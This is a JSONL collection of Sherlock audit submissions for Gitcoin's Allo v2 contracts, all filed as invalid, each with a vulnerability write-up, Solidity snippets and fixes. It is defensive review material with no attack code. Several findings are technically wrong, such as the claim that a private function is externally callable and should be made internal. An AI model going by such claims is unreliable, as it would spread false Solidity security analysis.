baseFee should be >= than msg.value.\n473:--- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n473:+++ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n474: revert NOT_ENOUGH_FUNDS();\n475: }\n476: _transferAmount(NATIVE, treasury, baseFee);\n477: emit BaseFeePaid(poolId, baseFee);\n478: }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/470.md"}} +{"title":"If an allocator is removed, the votes already cast by that allocator should also be deleted","severity":"info","body":"Furry Cider Panda\n\nmedium\n\n# If an allocator is removed, the votes already cast by that allocator should also be deleted\n\nThe Pool manager can remove an allocator via [[QVSimpleStrategy.removeAllocator](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L97-L101)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L97-L101). If the removed allocator hasn't voted yet, that's no problem. However, if the allocator has already voted for one or more recipients, these votes should be deleted. Because the votes cast by the removed allocator no longer have any meaning. The payout each recipient can get depends on the number of votes they receive. `The more votes recipient gets, the more payout recipient gets`. In this way, the distribution of funds can be more equitable.\n\n## Vulnerability Detail\n\nConsider the following scenario:\n\nFor simplicity, there are three allocators (alice, bob, tony), `maxVoiceCreditsPerAllocator` is 100. There are two recipients (A and B).\n\n1. alice votes for A with 100 VoiceCredits by calling `Allo.allocate`. After that, A got 10 votes (`sqrt(100) = 10`).\n2. bob votes for B with 100 VoiceCredits by calling `Allo.allocate`. After that, B got 10 votes (`sqrt(100) = 10`).\n3. tony votes for B with 100 VoiceCredits by calling `Allo.allocate`. After that, B got another 10Ā votes (`sqrt(100) = 10`). So, B got 20 votes totally.\n4. The total number of votes is `20 + 10 = 30`.\n5. The pool manager calls removeAllocator to remove tony.\n6. The pool manager calls `Allo.distribute` to distribute tokens for A and B. The amount of distributed tokens is calculated by [[_getPayout](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571C22-L571C32)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571C22-L571C32): `payoutA = poolAmount * (10/30) = poolAmount * 0.33`, `payoutB = poolAmount * (20/30) = poolAmount * 0.66`.\n\nWe can see that B got 66% of the funds, while A only got 33% of the funds. **Such distribution is unfair. Because the votes already cast by the removed allocator (tony) should be deleted. In other words, A and B should share the funds equally**.\n\n## Impact\n\nThe votes cast by the removed allocator still affects the distribution of funds. These votes should have been deleted, but instead they were counted.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L97-L101\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nBecause at the end of [[QVBaseStrategy._qv_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L533)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L533), the `Allocated(_recipientId, voteResult, _sender)` event will be emitted, and `_sender` here is allocator. Therefore, an off-chain program can collect every vote information of every allocator. Then we can add parameters for `removeAllocator` to delete the votes that have been cast.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/468.md"}} +{"title":"Wrong check can prevent users from creating pool, or make them spend more than needed","severity":"info","body":"Obedient Basil Lizard\n\nmedium\n\n# Wrong check can prevent users from creating pool, or make them spend more than needed\n[_createPool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485) has an issue with one of the [if statements](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L475). Because of the current implementation of the check, if the user passes exact amount to pay the pool creation fee and the fund amount the call will revert. For it to not revert a user must send more native tokens that are required for the **base fee + fund amount**, effectively leaving the extra stuck in the contract, waiting for the Allo owner to rescue them. \n\n## Vulnerability Detail\nWith the current [if check](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L475) if a user sends exact amounts for fee + funding, the TX will revert, because the check uses `>=` instead of `>`. \n\nExample:\n\n| *Prerequisites* | *Values* |\n|-----------------|----------|\n| Pool token | ETH |\n| Base fee | 0.1 ETH |\n| Fund amount | 0.5 ETH |\n\n1. User knows the fee and how much he is needed to fund the pool.\n2. He calls [_createPool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485) with 0.6 ETH as `msg.value`\n3. The TX is reverted because both `_token == NATIVE` and `baseFee + _amount >= msg.value` are true. Which trigger the first side of the [if statement](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L475), passing as true and then reverting with `NOT_ENOUGH_FUNDS`, while the funds were enough for the operation.\n\n## Impact\nFunction does not work properly, users are donating funds to the owner and the owner needs to rescue funds\n\n## Code Snippet\n```solidity\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```diff\n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/467.md"}} +{"title":"`DonationVotingMerkleDistributionBaseStrategy::_distribute()` should have `onlyAfterAllocation` modifier","severity":"info","body":"Energetic Berry Llama\n\nmedium\n\n# `DonationVotingMerkleDistributionBaseStrategy::_distribute()` should have `onlyAfterAllocation` modifier\n`DonationVotingMerkleDistributionBaseStrategy::_distribute()` function doesn't check if the allocation period is ended or not. Distributions can be started while allocations are continuing.\n\n## Vulnerability Detail\nThe action flow in this protocol is like this: *registration -> allocation -> distribution.*\n\nRegistrations can be done when `onlyActiveRegistration`, \nAllocations can be done when `onlyActiveAllocation`.\n\nDistributions should be done when the allocation is over. This is the case in the QV strategy ([link for the QV strategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L441)), and RFP strategy ([link for the RFP strategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L421)).\n\nBut this check is missing in the DonationVoting strategy and distributions can start even when the allocations are still active. \n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609-L613](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609C5-L613C33)\n\n```solidity\n function _distribute(address[] memory, bytes memory _data, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender) //@audit onlyAfterAllocation is missing\n {\n // ... rest of the code\n }\n```\n\nDistributions can be done only once for each recipient and the distribution bitmap gets updated. \nEarly distribution during the allocation period will update the bitmap. Any additional allocations for this recipient will not be distributed again since `_hasBeenDistributed()` will return `true` and distribution will revert.\n\n## Impact\nAllocations made for the recipient will be lost if the distribution has already been made before the allocation period ends.\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609-L613](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609C5-L613C33)\n\n```solidity\n function _distribute(address[] memory, bytes memory _data, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender) //@audit onlyAfterAllocation is missing\n {\n // ... rest of the code\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd `onlyAfterAllocation` modifier","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/464.md"}} +{"title":"Use Ownbale2Step as Ownable can result in loss/compromise of ownership","severity":"info","body":"Savory Clear Koala\n\nmedium\n\n# Use Ownbale2Step as Ownable can result in loss/compromise of ownership\nNot using Ownable2Step \n\n## Vulnerability Detail\nOwnable contracts have a single step change of ownership as opposed to two step change of Ownable2Step\n\n## Impact\nSingle step change ownership can lead to loss of ownership for the Allo Contracts if ownership passed to incorrect address, or address that has lost control or access private keys etc implying critical functionality depending on owner is lost to the contracts e.g updating registry, updating fee percent, adding/removing strategies, recovering funds etc \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L5\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L38\n\n## Tool used\nManual Review\n\n## Recommendation\nIt is recommended to make use of OpenZeppelin Ownable2Step contracts","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/455.md"}} +{"title":"Pool creators not refunded excess Native Token amount above baseFee","severity":"info","body":"Savory Clear Koala\n\nmedium\n\n# Pool creators not refunded excess Native Token amount above baseFee\nSending in msg.value amount greater than required leads to lost amounts for pool creators \n\n## Vulnerability Detail\nThere is no refund mechanisms for any excess amounts sent in with msg.value above the necessary amount to cover _amount + baseFee or baseFee when creating pools. \n\nConsider sending in msg.value way greater than baseFee in he case of token that is not NATIVE the transfer of the baseFee is as below \n_transferAmount(NATIVE, treasury, baseFee); which does not take into account msg.value as an earlier check just requires msg.value was greater than the threshold, therefore excess amounts are taken in msg.value but not refunded to pool creators \n\n## Impact\nThis results in lost amounts for the pool creator if they had sent in way above the baseFee or baseFee + amount depending on Native or non native case\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L476C4-L476C4 \n```solidity \nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nRecommedended that requirement is that strict equality checks be used in the requires \n if ((_token == NATIVE && (baseFee + _amount != msg.value)) || (_token != NATIVE && baseFee != msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\nor excess amounts be returned to the pool creator in the form of \n- (msg.value - baseFee) is excess must be returned for case not using Native token and,\n- (msg.value - (baseFee+_amount)) is excess must be returned for case using Native Token","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/452.md"}} +{"title":"Vulnerability in distributeSingle() where the hasBeenDistributed() check can be circumvented by directly calling _setDistributed().","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# Vulnerability in distributeSingle() where the hasBeenDistributed() check can be circumvented by directly calling _setDistributed().\nThere is a vulnerability in the _distributeSingle() function where the _hasBeenDistributed() check can be bypassed by directly calling _setDistributed().\n## Vulnerability Detail\nThe _distributeSingle() function first calls _validateDistribution() to validate the distribution parameters like merkle proof. It then calls _hasBeenDistributed() to check if the distribution has already been claimed. If not, it calls _setDistributed() to mark it claimed, transfers the tokens, and emits an event.\n\nHowever, since _setDistributed() is a private function, it can be called directly from outside the contract. An attacker could craft a transaction to call _setDistributed() for a distribution index directly without calling _distributeSingle(). This would mark the distribution as claimed without actually transferring tokens or emitting the event.\n\nThen later, the attacker could call _distributeSingle() for the same distribution index again. This time, _hasBeenDistributed() would return false since the check was already circumvented. So _distributeSingle() would transfer the tokens again and emit the event again, effectively claiming the distribution twice.\n## Impact\n- Recipients can wrongfully be denied funds allocated to them.\n- An attacker contract could call _setDistributed() directly without calling _validateDistribution(), allowing them to transfer tokens to any address, effectively stealing funds.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L783-L787\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L741-L756\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L760\n## Tool used\n\nManual Review\n\n## Recommendation\nsetDistributed() should be made internal instead of private. This would prevent external calls to it, enforcing the check in _distributeSingle()","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/448.md"}} +{"title":"Removed cloneable strategies can still be used","severity":"info","body":"Sticky Laurel Cuckoo\n\nmedium\n\n# Removed cloneable strategies can still be used\nA cloneable strategy that gets removed from allowed list is still useable.\n \n## Vulnerability Detail\nThe [removeFromCloneableStrategies](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L251) function remove a probably faulty, outdated etc strategy from allowedlist and prevents them from being cloneable. However this doesn't address the real issue because, pools can still be created using these strategies through the [createPoolWithCustomStrategy](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L144).\nThis means unsuspecting users will have their pools based a faulty strategy. THis is especially more likely during emergencies (e.g one of the endorsed strategies is discovered vulnerable) and users don't get informed quickly enough.\n\n## Impact\nPools can be created on a vulnerable strategy\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nPut a blacklist on removed strategies.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/442.md"}} +{"title":"Native tokens sent directly to `RFPSimpleStrategy` would be locked.","severity":"info","body":"Rhythmic Lime Pig\n\nmedium\n\n# Native tokens sent directly to `RFPSimpleStrategy` would be locked.\nRFPSimpleStrategy is meant to receive native tokens, but any native token sent to the contract would be stuck.\n\n## Vulnerability Detail\nRFPSimpleStrategy implements `receive` fallback so that eth could also be sent directly to the contract.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L500\n```solidity\n/// @notice This contract should be able to receive native token\n receive() external payable {}\n```\nThe issue is that eth sent to this contract cannot be retrieved and would be locked within the contract.\nThe three possible way to transfer ETH out is not possible with the current implementation.\n1) Using withdraw\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295\n```solidity\n/// @notice Withdraw funds from pool.\n /// @dev 'msg.sender' must be a pool manager to withdraw funds.\n /// @param _amount The amount to be withdrawn\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n@> poolAmount -= _amount;\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n }\n```\nYou can see that `withdraw` substracts amount from `poolAmount` which does not account for ETH sent directly to the contract.\n2. Using `_distribute`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n ...SNIP\n\n // Get the pool, subtract the amount and transfer to the recipient\n@> poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n_distribute also substracts from `poolAmount`.\n3. Contract inherits [Transfer](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L28)\nAll functions defined within `Transfer` are internal functions and are not exposed anywhere within the contracts and inherited contracts as well.\n\n## Impact\nNative tokens directly sent to `RFPSimpleStrategy` would be stuck.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L500\n\n## Tool used\nManual Review\n\n## Recommendation\nConsider reverting when receive ETH from a msg.sender that is not `Allo`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/440.md"}} +{"title":"When `createpool`ļ¼Œ excess fund should return to user.","severity":"info","body":"Rhythmic Marigold Jay\n\nmedium\n\n# When `createpool`ļ¼Œ excess fund should return to user.\nWhen `createpool`ļ¼Œ excess fund should return to user. User may send more fund than required base fee.\n## Vulnerability Detail\n```solidity \n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n```\nWhen create pool, if basefee >0 , user is required to send more or coequal token than base fee. \nBut if user send more token that base fee, pool will not return fund .\n\n## Impact\n\nUser lose fund during create pool.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485\n## Tool used\nManual Review\n\n## Recommendation\nreturn excess fund","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/439.md"}} +{"title":"Pool creator can lose pool","severity":"info","body":"Sticky Laurel Cuckoo\n\nmedium\n\n# Pool creator can lose pool\nA pool creator/admin can lose his pool.\n\n## Vulnerability Detail\nA pool can be created by [a profile owner or a profile member](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L164.). The pool creator also gets [admin rights](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L445.). This means when a profile member creates a pool, he becomes the admin and owner essentially. However his profile membership can still be revoked by the profile owner using the [removeMembers](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Registry.sol#L306) function. \n\n## Impact\nThis means the profile member/pool owner loses his pool and the pool loses its governacne. In a case where the pool owner is also the only pool manager, revoking his membership status on the profile can lead to the pool and its funds being lost. This is because the [recoverFunds](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L287) function recovers the funds to the recipient which is the pool owner.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L174\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L144\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L446\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L306\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L287\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIf profile member owns a pool, he should have protection from being removed from profile.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/438.md"}} +{"title":"There is a potential flaw in the validation of the recipient address in the _validateDistribution function.","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# There is a potential flaw in the validation of the recipient address in the _validateDistribution function.\nThe recipient, amount and other details checked may make sense at first glance but could be flawed. The recipient address is not ensured to match the expected recipientId\n## Vulnerability Detail\nSpecifically:\n_validateDistribution checks that the distribution index, recipientId, recipient address, amount and merkle proof are valid. However, it does not verify that the recipientId matches the expected recipient address. There is no check that recipientId corresponds to _recipients[recipientId].recipientAddress\n## Impact\n- The merkle proof could be valid for a different recipientId and recipient address combination\n- Funds can be distributed to an unintended address\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L714-L736\n## Tool used\n\nManual Review\n\n## Recommendation\n_validateDistribution should also verify:\n_recipients[recipientId].recipientAddress == _recipientAddress\nThis ensures the recipientId maps to the expected recipient address","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/436.md"}} +{"title":"Stuck Ether/ Native Token in contracts","severity":"info","body":"Savory Clear Koala\n\nhigh\n\n# Stuck Ether/ Native Token in contracts\nThere are contracts with receive() functionality without the ability to withdraw or send out these native tokens \n\n## Vulnerability Detail\nContracts with receive() functionality without the capabilities to use the funds, send out the funds, or withdraw the funds. \n1. Anchor.sol line 87 has no ability to withdraw Ether/tokens sent in direct \n```solidity \n/// @notice This contract should be able to receive native token\n receive() external payable {}\n```\n\n2. DonationVotingMerkleDistributionBaseStrategy.sol line 843 has no ability to withdraw Ether/tokens sent in direct \n```solidity \n/// @notice This contract should be able to receive native token\n receive() external payable {}\n```\n\n3. RFPSimpleStrategy.sol line 500 has no ability to withdraw Ether/tokens sent in direct \n```solidity \n/// @notice This contract should be able to receive native token\n receive() external payable {}\n```\n\n## Impact\nIf Eth/Native Tokens is sent to these contracts directly as allowed by receive() or by error in the payable functions it is stuck and lost in the contracts forever \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L86C5-L87C34 \n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L842C5-L843C34\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L500\n\n## Tool used\nManual Review\n\n## Recommendation\nConsider a withdraw function to rescue stuck funds, funds sent in by error or funds left in contracts","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/435.md"}} +{"title":"_registerRecipient()","severity":"info","body":"Brilliant Chambray Reindeer\n\nmedium\n\n# _registerRecipient()\nIn DonationVotingMerkleDistributionBaseStrategy.sol, RFPSimpleStrategy.sol, and QVBaseStrategy.sol, `_registerRecipient()` is used to Submit recipient to pool and set their status, submit a proposal to RFP pool, or submit application to pool, depending on the strategy.\n\nThe `_registerRecipient()` should be available only to profile members but the check implemented currently is not sufficient and anyone can register as a recipient.\n## Vulnerability Detail\nLet's take a look at the `_registerRecipient` function in the DonationVotingMerkleDistributionBaseStrategy contract:\n```solidity\n /// @notice Submit recipient to pool and set their status.\n /// @param _data The data to be decoded.\n /// @custom:data if 'useRegistryAnchor' is 'true' (address recipientId, address recipientAddress, Metadata metadata)\n /// @custom:data if 'useRegistryAnchor' is 'false' (address recipientAddress, address registryAnchor, Metadata metadata)\n /// @param _sender The sender of the transaction\n /// @return recipientId The ID of the recipient\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActiveRegistration\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n Metadata memory metadata;\n\n // decode data custom to this strategy\n if (useRegistryAnchor) {\n (recipientId, recipientAddress, metadata) = abi.decode(_data, (address, address, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) {\n revert UNAUTHORIZED();\n }\n } else {\n (recipientAddress, registryAnchor, metadata) = abi.decode(_data, (address, address, Metadata));\n\n // Set this to 'true' if the registry anchor is not the zero address\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // If using the 'registryAnchor' we set the 'recipientId' to the 'registryAnchor', otherwise we set it to the 'msg.sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) {\n revert UNAUTHORIZED();\n }\n }\n///more unrelated functionality below\n}\n```\nIf `useRegistryAnchor` is currently set as `false` then we'll enter the else statement and will decode the data we provided in the 1st place. \nIn the data, we'd have provided `registryAnchor` to be the 0 address so this equals 0:\n```solidity\n // Set this to 'true' if the registry anchor is not the zero address\n isUsingRegistryAnchor = registryAnchor != address(0);\n```\nthen the check that check if the `_sender` is a member of the profile becomes useless as we'll never enter the if:\n```solidity\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) {\n revert UNAUTHORIZED();\n }\n```\nAs a result, anyone can register as a recipient. \n## Impact\nAnyone can register as a recipient, even though it is supposed to be available only for profile members. \n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L528\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/QVBaseStrategy.sol#L369\n\n## Tool used\n\nManual Review\n\n## Recommendation\nRemove the `isUsingRegistryAnchor`:\n```solidity\nif(!_isProfileMember(recipientId, _sender)) {\n revert UNAUTHORIZED();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/434.md"}} +{"title":"Fix Reentrancy Vulnerability in Execute Function","severity":"info","body":"Lively Misty Lemur\n\nmedium\n\n# Fix Reentrancy Vulnerability in Execute Function\nThe code contains a potential reentrancy vulnerability in the execute function, where it interacts with an external contract. A reentrancy vulnerability arises when an external contract can call back into the executing contract before the state changes are recorded. This can lead to unexpected and potentially malicious behavior.\n\n## Vulnerability Detail\nIn the execute function, there is no protection against reentrancy attacks. The function checks if the caller is the owner of the profile and performs some other checks before making a call to the _target address. However, it doesn't prevent the _target contract from calling back into the execute function before the state changes (such as updating balances) are finalized. This creates an opportunity for reentrancy attacks.\n\n## Impact\nThe impact of a successful reentrancy attack can be severe. An attacker can deploy a malicious contract as the _target address that calls back into the execute function repeatedly, potentially draining the contract's balance, manipulating its state, or causing unexpected behavior. Depending on the contract's logic, this can result in financial losses, unauthorized data access, or other security breaches. It can also disrupt the expected flow of the contract's operations, leading to unpredictable outcomes.\n\nTo mitigate this vulnerability, it's essential to implement a reentrancy guard using the \"Checks-Effects-Interactions\" pattern or a dedicated reentrancy guard modifier, as demonstrated in the previous code example. This prevents reentrant calls and ensures that state changes are finalized before external calls are made, enhancing the security of the contract.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo address the reentrancy vulnerability in the code, 